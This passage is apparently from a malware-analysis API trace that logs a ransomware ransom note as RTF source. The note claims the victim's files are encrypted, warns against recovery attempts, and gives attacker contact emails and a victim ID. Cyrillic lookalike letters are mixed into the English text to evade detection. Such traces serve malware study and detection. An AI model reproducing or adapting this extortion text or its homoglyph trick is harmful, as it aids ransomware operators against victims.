pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third 